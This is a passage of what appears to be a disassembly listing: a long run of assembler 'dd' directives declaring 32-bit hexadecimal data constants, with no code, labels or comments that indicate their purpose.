		dd 88A0F6FAh, 0E6BD9892h, 5D02F0Fh, 45AFB654h, 0EDC2AFD3h
		dd 8F62B274h, 0CBE55FC6h, 4BDD7169h, 0E9E16671h, 0C5689E28h
		dd 0F85DC4h, 0D04EDEB9h, 0D790A221h, 0E16BAC8Eh, 0FFD386D5h
		dd 318CC03h, 7B1F8F12h,	0EABB166Eh, 1301165Fh, 450F7833h
		dd 0C93E1F7Fh, 127D9B1Dh, 460DD7ECh, 0D6F2260Dh, 83B1D2A8h
		dd 80FE0487h, 2899B41Ah, 5812E276h, 85D8D588h, 14496DAh
		dd 111D99BDh, 38E977Bh,	0E0C5C100h, 0EC16C933h,	5F1907E5h
		dd 69C109DAh, 0BF15FE02h, 2AA6CD7h, 37FCEE81h, 8AFE631Dh
		dd 2457DC0Dh, 8503D7Fh,	612AE9CBh, 0ED50B6F9h, 0EC0FF5E3h
		dd 0CE014C30h, 680970A3h, 94792D0Fh, 0B9088D82h, 1F5A404Eh
		dd 780E1C59h, 0D46FD5E9h, 32433F0Ch, 7153D1AEh,	5FC040E6h
		dd 751A531Fh, 30F0C38Bh, 0BAF9F77Ah, 0BA58B592h, 0F56A7C03h
		dd 244D5D25h, 0BE9908FEh, 0F8C0F620h, 7B36B7DEh, 0D70FD29h
		dd 9499BA6Dh, 0CEDFDA1Bh, 449F0935h, 8A523274h,	8BBB640Bh
		dd 12D054CDh, 4EDDA83Bh, 0AC31372Dh, 0B2F42141h, 236E4C32h
		dd 0E4A1D21Eh, 0DF4BF1E2h, 480104F0h, 2F13BDCBh, 5E60F69Ch
		dd 0E4DEF6E3h, 2817059Dh, 7E76C2C8h, 60DF6800h,	5A7105B4h
		dd 0C0EAD142h, 0C33DFA61h, 940C5867h, 5277D087h, 277FAEDCh
		dd 3D10207h, 0BB60480Bh, 21E2019Bh, 2931F376h, 42EDE1CDh
		dd 3ED15908h, 7F12204Ah, 714D8788h, 0BFBE9220h,	0D9C36CEAh
		dd 86C887BAh, 0AF026851h, 597FDE99h, 21868431h,	4F598BAFh
		dd 87B775D1h, 282E033Dh, 444742E6h, 9236D429h, 5E264B7Eh
		dd 0AE5C1374h, 0D97927DDh, 51369A7h, 9750C1F0h,	814600A6h
		dd 26B412E6h, 5974044Dh, 254514ACh, 804D5954h, 37C5317Fh
		dd 10652F68h, 80AC4B5Dh, 0C57DE45Ah, 7B829A1Dh,	0E9E889C2h
		dd 24D37667h, 880440FAh
		dd 2AC08FB3h, 12E11609h, 4C7AA01h, 478B5908h, 708DE90Ch
		dd 0C81DEBC7h, 0F34FC3FEh, 89EC0716h, 0E91CC4B0h, 0F4C54BB4h
		dd 42710476h, 0C5E20B0h, 67F6B28Ch, 0F2CDD9C0h,	0E7EAA38Ch
		dd 5193C057h, 2B95243Ah, 0B6802E5h, 6EE6A91Bh, 13EDF8B5h
		dd 7BA022h, 0C407FD3Dh,	0F82DE977h, 2FCCD2DFh, 0E810A0C5h
		dd 4B042D58h, 9A2CF05h,	27E9C1B4h, 0EEBA6886h, 0C7E6245Dh
		dd 564BC5E8h, 7BD705A2h, 84FFACA1h, 0C980CF01h,	0EFA00A26h
		dd 0B08F292h, 8F0576F1h, 16C5BCA9h, 69325759h, 12B418EDh
		dd 4655CD33h, 3F34C0F4h, 5AD30531h, 0F05BDE89h,	0D95010ECh
		dd 5417CD19h, 8F55D05h,	0B9680800h, 8166BD5Fh, 0A1E7A820h
		dd 9C2E5328h, 0B13E51FEh, 0E9500493h, 66B6569Ah, 8C2F6017h
		dd 705B7D9Eh, 3B9FC9Ch,	331272D6h, 0B12D8BBh, 116CB29h
		dd 0A96834E1h, 1224E9B8h, 96BF2CD3h, 9B01C0B2h,	7BB75366h
		dd 26697C90h, 0F25A615Bh, 2CE92EAEh, 82258235h,	0C0E329h
		dd 6082B3FDh, 0E5E46852h, 0E718C2Ah, 260C5205h,	0F14E564Eh
		dd 0C1DE825Eh, 0D5BA60E6h, 0EE3180F0h, 552749BFh, 5C739A28h
		dd 0D6408DD7h, 0E36A5AE9h, 1DBB029Dh, 0E064C5E3h, 0E0255287h
		dd 0DF01243Ah, 0E5510E8h, 47F6D8B0h, 8EB4B604h,	0BE4D7AF0h
		dd 966E8BBBh, 680B2473h, 0AA3E43F4h, 0ACC3F1F0h, 0BCD91347h
		dd 0F130C43Dh, 6DFCA117h, 6A5A3458h, 0DFAD934Eh, 3F4B752h
		dd 5723072Fh, 0D2D631A6h, 0AAC67319h, 24D9539h,	8CC26A05h
		dd 7256428Bh, 0FA0139B6h, 0D5E39750h, 11100113h, 215F0995h
		dd 4B2879D1h, 5612C374h, 1C4C8DA3h, 17A07F84h, 0DD07DBBCh
		dd 4E31D3F7h, 8908EB4Dh, 55565018h, 0FCE70BB3h,	5848C6F5h
		dd 97F85A9Ch, 53AEE9F0h, 9DC3FBC1h, 22601E21h, 0BB864051h
		dd 0AB413301h, 37F38115h, 0F9FC0DA7h, 7C5F04EBh, 5E074D0h
		dd 2DD07AF7h, 0F8715B70h, 0B04052A7h, 3A170964h, 3D50A5Dh
		dd 4CA4206Eh, 48C4E86Fh, 0D2A55D05h, 75D481Ah, 0EE6BDC31h
		dd 4068703h, 73D6464Eh,	90F99885h, 0C7D7C0A6h, 3709F853h
		dd 0D241BEF6h, 16E45B32h, 5AEC4BE3h, 0BF42D36Ch, 0BDF2804Bh
		dd 292D49A8h, 0F30526Dh, 54CE6639h, 0C91A275Eh,	45E90C03h
		dd 0C7E9F35Ah, 0DCC44492h, 555F0774h, 0D55C7772h, 0B8AF6445h
		dd 2103DF20h, 8205C6Bh,	8F65B4Fh, 3409647Dh, 3CC4EAB5h
		dd 98AF9485h, 6812660Ah, 0A4B91B4Bh, 0DFA7B11Eh, 49F07D78h
		dd 0B38554C8h, 0A67C8047h, 97EBE9h, 39B2BFFFh, 252F7AA5h
		dd 12D29DEEh, 336A444Ch, 2D790633h, 5BD20912h, 0EB580A70h
		dd 3075308Eh, 7988AB2Ch, 97B57AC6h, 0FB2FEFEEh,	4CFB685Fh
		dd 0D0BE80CAh, 30163916h, 46AB93B0h, 2C317BAh, 66CD28FBh
		dd 0F6AF0F2Eh, 12972E08h, 93750B5Bh, 3E05A277h,	0CC24AAD9h
		dd 0A8CFE42h, 5DA73B85h, 10681001h, 4C967320h, 1A6925AAh
		dd 4A145CC9h, 24601058h, 750B5AB8h, 1908DE0Bh, 6056E029h
		dd 35B36446h, 93E01417h, 3A1A0051h, 0C5E78163h,	7704031Bh
		dd 5AD1E94Fh, 122F6FE4h, 847B795Fh, 8DC9BF82h, 209217A8h
		dd 5A9F90A0h, 0B2015F9Eh, 0B26A6354h, 60D78252h, 60F78097h
		dd 886226C6h, 342C5BF8h, 4B944CBAh, 3BD722FEh, 5C2F7B03h
		dd 0F78055FCh, 704D216Ah, 0F90EC04Fh, 0E943C55Ah, 7CC1D75Eh
		dd 0DB4732B6h, 75893192h, 2A5C8011h, 0F85E03EDh, 0D3884A9Bh
		dd 5BF404Dh, 0DA12450Fh, 0F0814978h, 7C5C9582h,	60997A7Ah
		dd 0E6815528h, 2D162E79h, 76584619h, 2E770614h,	0C016D6h
		dd 9309EBA5h, 0E925F229h, 0F7A0425Fh, 0DD3F9B30h, 425551BDh
		dd 5801E5F8h, 1E1A5F3h,	9BD1A24h, 0F586BE4Fh, 2125BC58h
		dd 2DAAF8FDh, 79ECB5D4h, 9B8500Bh, 0DE8C8907h, 60140869h
		dd 562F5924h, 89598233h, 2EC55E32h, 0A40A79A5h,	6030055h
		dd 0EF6818ADh, 0B38D0C4Fh, 0B734EDCh, 0BC9BE949h, 0B456B829h
		dd 0ADF6108Ah, 90973FA8h, 95CB2DBAh, 0A91A71ACh, 4AC82E39h
		dd 212CAABCh, 0A5C6AD5Eh, 6D35BF09h, 0CF0D002Fh, 16523E5Dh
		dd 43FFE910h, 0F8215C59h, 97D4B8C1h, 7E8D6CE7h,	93B50805h
		dd 7E2F432Ch, 86C36756h, 0CFA3104Fh, 73EA7ADEh,	814DDC2Fh
		dd 0E72E452Ch, 4A381B20h, 7B90A780h, 7F8FA955h,	29AEBEC4h
		dd 0CC372E1Eh, 7068F181h, 62487EEEh, 7F099D49h,	0A7BBB520h
		dd 0F8B7920Bh, 0E6B98CDh, 6697615Fh, 80F8EFA9h,	277A679Fh
		dd 7A08645Bh, 19D265Fh,	8A3F1EB9h, 0A6D2F06Fh, 2D6FEEBFh
		dd 62749F2Fh, 0EC6256Fh, 3DFCCDABh, 0A142E524h,	0A04DBFE9h
		dd 0EF81CFF4h, 0E30E12BEh, 5E3C147Dh, 0EC2AFE41h, 0C4E91284h
		dd 0DCBE1684h, 2874CF51h, 0E922BE06h, 9D9BACE2h, 0A2046E89h
		dd 835F03C8h, 13B9CDE8h, 802BB437h, 0E6F681DEh,	676E7D12h
		dd 897F8D01h, 0C56B26D1h, 106DEC83h, 5A2C81D4h,	0D7AF099Fh
		dd 19106C73h, 1291F784h, 681738EEh, 0A488D098h,	8081DA76h
		dd 2BE009D9h, 3B4997Ch,	38585BEFh, 5070E4EAh, 4CE5D58h
		dd 1B126A94h, 70501E80h, 0E91712DCh, 0E9DF5625h, 0E2688370h
		dd 456D1035h, 0F9502DD4h, 80F83040h, 165FA218h,	63A4CB46h
		dd 0C8CE0B1Dh, 5707AF1Ch, 0A4F3A9E7h, 23F76885h, 4FA34B98h
		dd 5A5B8CE6h, 824155B0h, 5240F04Dh, 5FD6116Bh, 2849F860h
		dd 5F4808C1h, 897F215Bh, 776C768h, 0AED0942Dh, 0CB34BCA0h
		dd 0EDDFD7CAh, 0E14A3D74h, 0B1B73A1Ah, 4B4C7412h, 2802DD0Dh
		dd 84F956D1h, 7F655893h, 965DF2C8h, 56506163h, 81A94258h
		dd 42C9885Ch, 25AA52D9h, 5AE458EFh, 66B81316h, 8C3AB4Ah
		dd 5B56031Ch, 0D6CFAE04h, 665F6CFAh, 1A2BD995h,	0BCC0C910h
		dd 748221A6h, 7DD02298h, 9D8B7902h, 0D53F37DBh,	15E1FAA0h
		dd 1457CA54h, 0EBFED367h, 0B9513071h, 0E92DCB0Ch, 0FD5B420Dh
		dd 0F5617842h, 6A1DEC31h, 50A7DF99h, 119CBF67h,	739C5A5Eh
		dd 0ED075A28h, 3F82A62Fh, 12A52D48h, 0B1A1A450h, 65BE0077h
		dd 5EEF7375h, 230D529h,	0B060F71Fh, 0E5C09660h,	2D805980h
		dd 7F74FEF2h, 0D95B0728h, 4AE152CCh, 2D3F8A84h,	60DCE6EFh
		dd 7A6D5C51h, 3B904D66h, 0D2C7BFAh, 0A81AF0Ch, 1EE9A68Ch
		dd 0BF02533Ch, 26B733AFh, 315E8360h, 7498D076h,	0CC0BC5B0h
		dd 293A2B62h, 62170B7Fh, 5498F60Bh, 556524B5h, 10E644C0h
		dd 81690166h, 0BC2AC4C7h, 0E964845Dh, 0D1F4AA0Ah, 80281202h
		dd 0DF9C5606h, 0F7B95E3Eh, 0A0FFA8D3h, 0B319E068h, 6FD20A61h
		dd 506340A1h, 81022C43h, 0F7306EDh, 10827D69h, 0A40E567Dh
		dd 0C0934AACh, 0EC8A03F3h, 5E11A46Bh, 3A0C83F1h, 28AA0424h
		dd 6801526Eh, 29E357C6h, 0B1DD515Ah, 900263D4h,	7D7827A7h
		dd 0DF8A7846h, 45F657Fh, 28CE9h, 0CFEE7CBFh, 4F3DF4D0h
		dd 0D1C0B8E1h, 3687E3Eh, 82A5A3E5h, 7DCD6890h, 53FB5289h
		dd 9725CADh, 0CDFBC783h, 0AE93E904h, 0EBC1ECD0h, 0D139807h
		dd 3A762B1Fh, 0F417D00Ch, 10F37D5Ch, 5575D9DEh,	167B9913h
		dd 9809055Dh, 6D12AA69h, 0CEB5AEEh, 0F7F7CA5Dh,	0B6FC8702h
		dd 3A5EB491h, 0F7C0DEB2h, 29E468F9h, 0B84B8BA4h, 0ECD5E1B3h
		dd 0D1526815h, 340E90Ah, 0B91A87Fh, 62766E01h, 44634400h
		dd 529F2C6Dh, 67E0F3E4h, 1475483Ch, 0DB64C305h,	7918FB27h
		dd 2DBB2B1Eh, 56C0A084h, 59F520E9h, 7C212AE6h, 0C037498Ch
		dd 9112547Ah, 63C3779Dh, 515C237Bh, 36D36E00h, 31B92CACh
		dd 255378C9h, 4B74E901h
		dd 0E125D259h, 0C1A2C13Fh, 65E147E5h, 8F048946h, 29E95208h
		dd 0F588EA73h, 98589124h, 3765E9D4h, 0A6E25A89h, 0C3CF3086h
		dd 482D893h, 0C1F82868h, 2CD8B15Fh, 0F9C8F09Ah,	5B59D0D3h
		dd 0B3482CE9h, 0AC7E4705h, 1D786708h, 58E5DDABh, 0F1E954DEh
		dd 97EB6E56h, 6B1272BBh, 4105F269h, 3F2F5AB9h, 72A617F0h
		dd 4DE9FE22h, 0BC4A5847h, 0EB20285h, 775161B7h,	0C3807A10h
		dd 0CA5D9978h, 0E42C149Ch, 0B2E9B380h, 0E1295106h, 625E5456h
		dd 4FA613AAh, 82B46AF8h, 8B0861E7h, 1FEEC008h, 0F5420953h
		dd 0E153847Ch, 1882486Eh, 0CCFE02B4h, 88036573h, 16D2F6E2h
		dd 0B3DD1C42h, 778F13C1h, 0C0E1EAA8h, 0FD412F82h, 0BF872684h
		dd 3132096Ah, 0C04C8B55h, 2C49ABF6h, 0CC2D4860h, 0B3EF634h
		dd 7BE4ADFh, 0E60E309Ch, 0AB746645h, 0F043602Dh, 0E9583A37h
		dd 853210CAh, 0B4C0E95Bh, 9CC408ACh, 92C245DEh,	11B4B80h
		dd 0BB6812F2h, 1431AB5Eh, 50026BD7h, 0D1A761h, 7F87DDF7h
		dd 0BFA4BCDh, 50780114h, 0BF7BB029h, 65B1630Ch,	5CF14F1h
		dd 0C102F8F3h, 418454D8h, 0AC759A42h, 4B6B5EA2h, 0D176AD67h
		dd 0F2810311h, 0F84CACF3h, 9F5AD621h, 606F7907h, 0B2AEE971h
		dd 7635B1BFh, 2D545301h, 0F99E1362h, 550021F2h,	0EA02A868h
		dd 0E3B05D4Ch, 7218C572h, 540C1BD8h, 0FDA60AE1h, 0A5F5D0E9h
		dd 9585B45Dh, 0CA207866h, 4B59987Fh, 0BFACD855h, 0CEC0083Dh
		dd 5A12E8h, 80C6FE2Bh, 0EEE6CEF6h, 0F030F513h, 6604C98Ah
		dd 0E56E6853h, 0C70069BFh, 9E6160B0h, 0FF2870E9h, 720CBA01h
		dd 82422F7Ah, 858DF7ACh, 0BD2570D0h, 28BD2D11h,	0C96E4751h
		dd 91317D5Ah, 0CD446A58h, 5901B07Ch, 3A7E2C5Ah,	353E0EB1h
		dd 0F412BF33h, 530000FBh, 0E38086B3h, 0C1EBCCFFh, 8923E916h
		dd 428E6DFAh, 890275EEh, 132067DFh, 84F3B908h, 0B4AA9AAEh
		dd 2BC045C6h, 80B6B450h, 0A4C14BC4h, 5A2FD3A5h,	0AF3EE558h
		dd 0F112A27Ch, 10D972AEh, 4D2C0772h, 4AC84C46h,	7ADA8063h
		dd 9CA831Fh, 6801D454h,	4ACF719Bh, 32200035h, 40D6419Eh
		dd 7365FC9Ah, 1D54495Ch, 244916CCh, 3A4C229h, 1E4F5908h
		dd 1303A20h, 0E9F8312Dh, 0C8002A33h, 0AB746EBDh, 343BF91Eh
		dd 7C18C29Fh, 694E8956h, 4A15FDE5h, 5E5A8F26h, 99118873h
		dd 799FD02Fh, 0B964E0Ah, 2E730932h, 39F78100h, 0A2EDDBE2h
		dd 2DEFF685h, 0C0CE2651h, 0C12159EAh, 9AE9127Ch, 5A2A9045h
		dd 0F8BF3620h, 9E5B0308h, 86A2E935h, 93DFD33Bh,	78BE87B4h
		dd 14B23FC5h, 945DED95h, 0AA34715Ah, 7F4DC1D1h,	76C03F36h
		dd 13739EF3h, 0FB310BA7h, 7EEB3F09h, 54D0A72Ah,	7EDBC920h
		dd 7DE5075Eh, 0CE708D7Ch, 2FFB7F0Dh, 4AC66AD5h,	0B3D84B6Ah
		dd 0E7CF5087h, 97C1F99Dh, 0A5A5990Fh, 72CF5C0Dh, 4F08B6F3h
		dd 0B5BD01BAh, 0E807ED2Fh, 0E883EED3h, 4C2A6C37h, 7F00B521h
		dd 4A554445h, 0A954BE9h, 0BA588FB7h, 8B783966h,	0E3165E48h
		dd 0C923EC45h, 3E38F7F3h, 0E58A7A0Eh, 499409A8h, 87BC5F71h
		dd 5F0D8768h, 0C9907E3Bh, 0F5FBE563h, 0E935F4FDh, 52448A2Dh
		dd 86B73836h, 6AADF93Dh, 2C5E6C42h, 9D7D327h, 66E699E7h
		dd 4B4A75F2h, 8092D0F3h, 5A36F0B0h, 477E3Fh, 0C732BAE7h
		dd 0BDD7875Bh, 5F52A101h, 22A47F5Ah, 7DB709CFh,	0F85B72AFh
		dd 0C6E3F700h, 9240E985h, 67544C42h, 228A2DE1h,	10C99E51h
		dd 0AC7646E1h, 44682805h, 0C5AFBD14h, 0FB0A9D44h, 1420818Ah
		dd 3FFFAC55h, 655AB6A0h, 0AA2D0E79h, 0B717B695h, 0FE2552AAh
		dd 0EB2C0D1Dh, 0E8C5A9Dh, 4C9A367h, 403D5DE1h, 0B1BA851h
		dd 7A31D5F7h, 618A4821h, 9B4E0BDEh, 56DB24A2h, 6453AD80h
		dd 0DFF231E5h, 827574C1h, 76304AD0h, 3D7F3C33h,	0E91501BBh
		dd 0E35A9AFFh, 82ED8466h, 77055709h, 3EAEE775h,	0D47F1551h
		dd 221108Dh, 7443267Ah,	81851F1h, 0B8435E5Ch, 0FD20A9DBh
		dd 0E948B7EBh, 0CE520AE9h, 3D38048Fh, 0ECC06AA9h, 4C9C7CD4h
		dd 0FD30801Ah, 3AC4CE23h, 0C42F1928h, 0B6DFF220h, 7E620869h
		dd 0CC015F13h, 13D01660h, 25FDED2Ah, 0E1ECF950h, 7E81DFE9h
		dd 58529321h, 73F1C5D5h, 8DAFBACh, 0B702833Bh, 80DFF670h
		dd 12C78002h, 2ED29F20h, 996E658h, 57CAFE58h, 0E9053945h
		dd 0FFC8E3FDh, 8C514B1Bh, 0B4413DA7h, 0F058B076h, 0A51C882Eh
		dd 0F4F6BF16h, 9B87082h, 3E383F49h, 0C8F7A642h,	4DE905D1h
		dd 9576F855h, 0C0C930D9h, 80FC3AF5h, 1E5AED81h,	0E05BBEFCh
		dd 282E6B6h, 986425BEh,	0E815B899h, 407803E8h, 0C8C5DC2Dh
		dd 171CBACDh, 531AE945h, 0B897CBB2h, 6819040Dh,	6EC27F63h
		dd 974E51D5h, 0B68D5705h, 0F8E9849Ah, 0EEE6D2B4h, 0B75F4BB0h
		dd 3B405F1Eh, 101542CEh, 0CE4E624Dh, 0BB007617h, 2D3E0DB8h
		dd 0C2FA2D3Fh, 0CB5A32FEh, 0E5F1AB91h, 0FC20DA8h, 2EB62DB4h
		dd 184ED286h, 5C07A590h, 5007EFC0h, 0A05A44C7h,	402FA640h
		dd 0D15E4E63h, 2350A06Ch, 0AABD4AB8h, 670229E2h, 51B800E3h
		dd 5F4A4508h, 0C85064C3h, 13F8E7BEh, 84EFE9C4h,	6FE3AEACh
		dd 15896A4Ch, 5B9D5DF8h, 0A768C128h, 16833366h,	10F1C5E9h
		dd 9368B22Eh, 7BA35831h, 0E7C5862Ch, 0BE28E4D3h, 0D6A4C85Ah
		dd 30A641F3h, 0E22428A2h, 51195D33h, 0BFC8572Dh, 0F913488Bh
		dd 0C481DD20h, 8B010441h, 1A4D78E2h, 4428BC2Eh,	0D09841BFh
		dd 8AE7985Eh, 1CC89F68h, 5F76AD64h, 12CCDF5Ah, 0D05B5427h
		dd 0BAE03ABh, 0AABD36CDh, 0D3310B27h, 0B95100AAh, 77684791h
		dd 8F0B5C98h, 17FDD54h,	67301FA0h, 47E6276Ah, 4E1382A1h
		dd 0FC2007F0h, 4B8A97C4h, 0B95B1717h, 8FAAD24Ch, 68590E4Bh
		dd 98B373CFh, 3FB8E710h, 4E401358h, 0A5C1B5ECh,	2153C85Ah
		dd 611BDC5Dh, 834F6300h, 0D7F701EFh, 5B92C952h,	0D157491Ah
		dd 0BC515A65h, 76B50B49h, 0C9C3E230h, 40668409h, 0A055430Bh
		dd 5899CB35h, 8B705C77h, 89E04E74h, 0D8E02E3Bh,	0C923EA41h
		dd 0D50612h, 0A8EA4D6Ch, 2FE912D6h, 4CA535Eh, 0AA7B5256h
		dd 81E1228Dh, 2722A32Fh, 0F39A624Eh, 30E2A589h,	54F6741h
		dd 5A10CAB8h, 70CA4A51h, 2FF6168h, 6E68463Ah, 0E67BF980h
		dd 5279639Eh, 0FF1ACC1Fh, 0A038C5EDh, 4F8501A4h, 71E968F6h
		dd 5EBA726Eh, 0BC5BD8A4h, 90D2C4F4h, 2830B3A5h,	0C84FDE79h
		dd 29B97780h, 646E2772h, 5E0ECB52h, 0C037EB46h,	28558FE1h
		dd 0F0CC031h, 41513326h, 40B6AC1h, 0F5D71120h, 5FE86A0h
		dd 0DCB050C5h, 728DC266h, 8741505Eh, 0AE60D008h, 0EBADC0DBh
		dd 15F73E80h, 27E09EDDh, 50FC5C29h, 5E26CA6Bh, 3928AFCBh
		dd 2AE60208h, 7F124D3Bh, 0B1B19FEAh, 3FF92158h,	0C901B4F4h
		dd 2C905C86h, 1B4B9A68h, 0A58FF8ECh, 0BA550FE4h, 0BFE4A68Dh
		dd 15D39D6Bh, 0C8D3AFBDh, 18D7C1B4h, 0D8F17D84h, 0C02504A4h
		dd 13A4A52h, 0EFB6E908h, 6EF33Ah, 0D1389F68h, 6FBE5F10h
		dd 0F5650DA0h, 96CAED29h, 0C15960BFh, 0D62F32BFh, 0A05BDC42h
		dd 60DDEA08h, 83E7977Ch, 1E90B82Ch, 0A8AAF705h,	0C5ABBD94h
		dd 1E06FECCh, 4C91AF8Eh, 0F210ACC2h, 0DC465FCFh, 44D3E98h
		dd 0B73B3AC6h, 840AFF03h, 0DE2D08EEh, 7DAA74C7h, 2FC51EFDh
		dd 3DD9E1F6h, 0F6AFCE0Bh, 36D4CBACh, 0B870A910h, 0BBCA32D4h
		dd 1577E0BFh, 1334108Ah, 0E1BD4B7Eh, 742DFE97h,	0C0931960h
		dd 3662EBFBh, 0C3FC7D3Fh, 719699FAh, 0D42CD12Ch, 244A7BBEh
		dd 129D31Ch, 32848055h
		dd 13030609h, 46B808C3h, 0E77C108h, 0BAB71088h,	850250Ch
		dd 69EB407Ch, 23208063h, 61081B05h, 66EB187Fh, 83A50810h
		dd 10E33110h, 0C818B193h, 896D300Ch, 8081F880h,	18C456FDh
		dd 9F04608Dh, 98F2049Bh, 44A2704h, 51067104h, 9A2008A6h
		dd 1F9B3169h, 8C155828h, 18CA5A08h, 8926307h, 183E7F34h
		dd 62B4C053h, 7CCD1054h, 18A71C03h, 1843AE08h, 1E80BC90h
		dd 0B10C45Eh, 9CE0068Fh, 55592008h, 2072A031h, 8BB87E7h
		dd 8618DAB1h, 0B7410126h, 332D108Ch, 7C806D49h,	0C510C690h
		dd 1B540894h, 6340AC90h, 0A4D1C692h, 0DE2018BBh, 458D2035h
		dd 83FF531h, 2088D75Eh,	910858CCh, 94BA0C6Eh, 0F6669E18h
		dd 90089359h, 9508C645h, 71202864h, 0FB672096h,	338C2320h
		dd 73D139F5h, 980E082Ah, 828B431h, 0D4017710h, 3830886Fh
		dd 84841560h, 85D5218h,	20C67AEFh, 3108986Bh, 2218767Fh
		dd 4890026Ch, 80FD3308h, 0A880749Fh, 8708C4B6h,	0BD090449h
		dd 6DD3004h, 404967B4h,	80633CB0h, 319F4208h, 0FE0843E1h
		dd 2AFC037Eh, 0E494E321h, 0A319C8D4h, 150F2608h, 4073C446h
		dd 0D9C68A81h, 3118E956h, 308B9AAh, 0F2910197h,	14F1B01h
		dd 3088254Ch, 6D0C58B6h, 40FF109Bh, 23404B5Ah, 0C59C4D3h
		dd 4EAB06BFh, 71A72010h, 0A2901754h, 0A97B8B40h, 618D98D8h
		dd 2108248Eh, 142898C1h, 0CC508FE9h, 59293B18h,	49186365h
		dd 0B4E2D446h, 0A97A9808h, 6901F3D4h, 228B0162h, 0C42B2C24h
		dd 0F7B3208h, 7C1070B3h, 0C2E91883h, 80596130h,	10C65DA3h
		dd 3308A073h, 34181E41h, 0CBEC2110h, 103A9318h,	180C016h
		dd 794B808Fh, 23D808C9h, 0A44F4EC4h, 0FC4CF411h, 49C9F440h
		dd 202ADC49h, 86263E4h,	2010B23Dh, 52A1028h, 5BA6208Ch
		dd 20176820h, 5AF85DD4h, 0CCEA08DEh, 323C7C20h,	0CD10AD6Fh
		dd 6EFA104Bh, 0B4923704h, 60C84872h, 0E8FC269Ch, 82D549A4h
		dd 0A74098CCh, 468EC7A3h, 103DB0h, 752C473Bh, 8913EB02h
		dd 0A7B90EC6h, 5F43Dh, 408F4401h, 75C90B49h, 748BF712h
		dd 3DE2BC0h, 8E71BFF0h,	1C0330Fh, 304FB10Fh, 53AC2C80h
		dd 0B55109B7h, 0F580660Bh, 0CBBFDBDh, 8277098Ah, 0FD2B7D2Dh
		dd 0ABB06144h, 0D6975270h, 30207309h, 352C0397h, 0E834D0F6h
		dd 25663620h, 0F5CCB29h, 0BD70C5C0h, 0A8015A13h, 0F759B2B1h
		dd 0C899CBE6h, 70D4E961h, 0CBC7A19Dh, 1657BEAEh, 0BB5321A5h
		dd 0ECE5E904h, 0F2A2AFA8h, 0B65CCCDFh, 31D35821h, 895BADA0h
		dd 0C1F1CE5Ah, 5FD13E97h, 47D20154h, 0FCCB21E0h, 0C2E164A9h
		dd 68F8B47Ch, 0CC365BC0h, 6E1793C8h, 8A022E54h,	0E0B14EE6h
		dd 76BDF6B8h, 0DC226079h, 0EED99F4h, 8E49889Fh,	3841E984h
		dd 70685F01h, 43F3881Bh, 895D0A1Fh, 6F581DEBh, 5272E6D6h
		dd 8C681792h, 2E13892Eh, 5049DCDCh, 77B88528h, 0CF173D15h
		dd 32E41218h, 78F5835Bh, 320E05F3h, 0C5AAB396h,	7A7C00B7h
		dd 115F91Bh, 784534C4h,	1A42A817h, 710EEE76h, 0A346B091h
		dd 6A2E2641h, 783505E9h, 265780E8h, 15C29073h, 0E6F3314Dh
		dd 28265DEh, 0CEFF1C8Bh, 0E113B67Eh, 3B1FFE68h,	0B850A160h
		dd 22631207h, 8141BB1Bh, 0E4DD9CF3h, 10DFE770h,	414B9E5Dh
		dd 580801F1h, 7D132052h, 9D2E5681h, 0ABA8F86Ch,	0FAF50180h
		dd 7A0E01C5h, 955E35C7h, 0E957C840h, 249AD731h,	0F898DBF7h
		dd 4B3E7403h, 31FDD607h, 62EE5BD9h, 0A8392368h,	250BFC5Dh
		dd 0E2C2FC01h, 5C00956Bh, 0F208EAC0h, 55ED406Ch, 769E6803h
		dd 5D02B4h, 1D14E2F6h, 58C52135h, 0F8BF5702h, 0FF06F360h
		dd 0F901074Ch, 0E959CF87h, 4B6D76E7h, 60E56412h, 162E776Ch
		dd 39B05C7Dh, 590D0150h, 0F93D5E77h, 71E24E88h,	1FDA2C4h
		dd 3C8BFB89h, 0D6C4E36Ah, 68C03CBEh, 451E542Ah,	85BA520Eh
		dd 36740F86h, 0CC104BFh, 1B509AFh, 5966E849h, 94208231h
		dd 0ED80101Fh, 11977BA7h, 0FF9D0F45h, 5F7BD2EEh, 40A4765h
		dd 28E72215h, 22048257h, 0E7B077E4h, 4A5F7168h,	51BD528Ch
		dd 0C9F4891Dh, 0F3B975Fh, 70671638h, 0AE3349Dh,	46B4E951h
		dd 0EDE381F9h, 206AC369h, 0BE02E617h, 3BE9FDC6h, 2F78F3C9h
		dd 0A44005D1h, 8240A85Ah, 9576BC0Bh, 73605678h,	2F39CD7h
		dd 5E57ECC1h, 45C9F440h, 0DA183131h, 36811359h,	826A8C2Dh
		dd 0C8A1482Bh, 5AAE2067h, 0AA48EEE1h, 585822Fh,	0BBC6078Bh
		dd 0E0B3FA0h, 0B971DA00h, 2A6A18D6h, 5FF93031h,	8E2F7B7Eh
		dd 688E5961h, 303B15ADh, 0BA35F0E3h, 2E91F5Bh, 2856A901h
		dd 42EB29B2h, 4E0A37BFh, 512203Dh, 2B2A52BFh, 80D08026h
		dd 30F17E75h, 9F06D162h, 0FA2950A9h, 0D5EA027Ch, 0E934F66Bh
		dd 3075C689h, 9A2845F9h, 0B72C3C8Ch, 0E8B9BA12h, 0BB099EBEh
		dd 32992E6Eh, 0E6465FAh, 267883BAh, 0EDAB2156h,	0D54511D8h
		dd 1A592D40h, 0C81D1373h, 80A3E42h, 1E035B83h, 6E315418h
		dd 803EB629h, 24E95508h, 0C349B16Fh, 103F276Ah,	0AD543980h
		dd 18260F1h, 4CB03D50h,	43940792h, 7405F881h, 214AA8C1h
		dd 30147E86h, 66A25BE6h, 0CB77A6D2h, 0F4D7015Fh, 2D20E55Eh
		dd 0DDA8C1DBh, 4358B91Ch, 0FAC4C1DFh, 3F04601h,	22AF5777h
		dd 0AEB25658h, 622D3AE2h, 827B7A58h, 3605FF08h,	49A41D56h
		dd 3BF6FB77h, 2CFBA50h,	0E928886Ah, 22DDA07Ch, 0A06407C6h
		dd 121C6861h, 72666BBFh, 223A3E01h, 72408002h, 1C6A203h
		dd 400890D7h, 0F95C883Fh, 54439265h, 8242C180h,	628957D9h
		dd 0C8BA04F7h, 6718210h, 184F6FAh, 4A31BAD9h, 0FD281C91h
		dd 0FBC580E0h, 1E39CDCCh, 42C2B252h, 0EAE9A7F2h, 0D62551FCh
		dd 0E9E9F934h, 0CAF37ECCh, 58BFAE1h, 0B1152F82h, 0B62A0188h
		dd 3DF94FE3h, 0A48408F5h, 0FE5B6602h, 89F15DCDh, 0F5805983h
		dd 54DDCA16h, 92784938h, 0C5300D17h, 0EB2FACBCh, 1550C64h
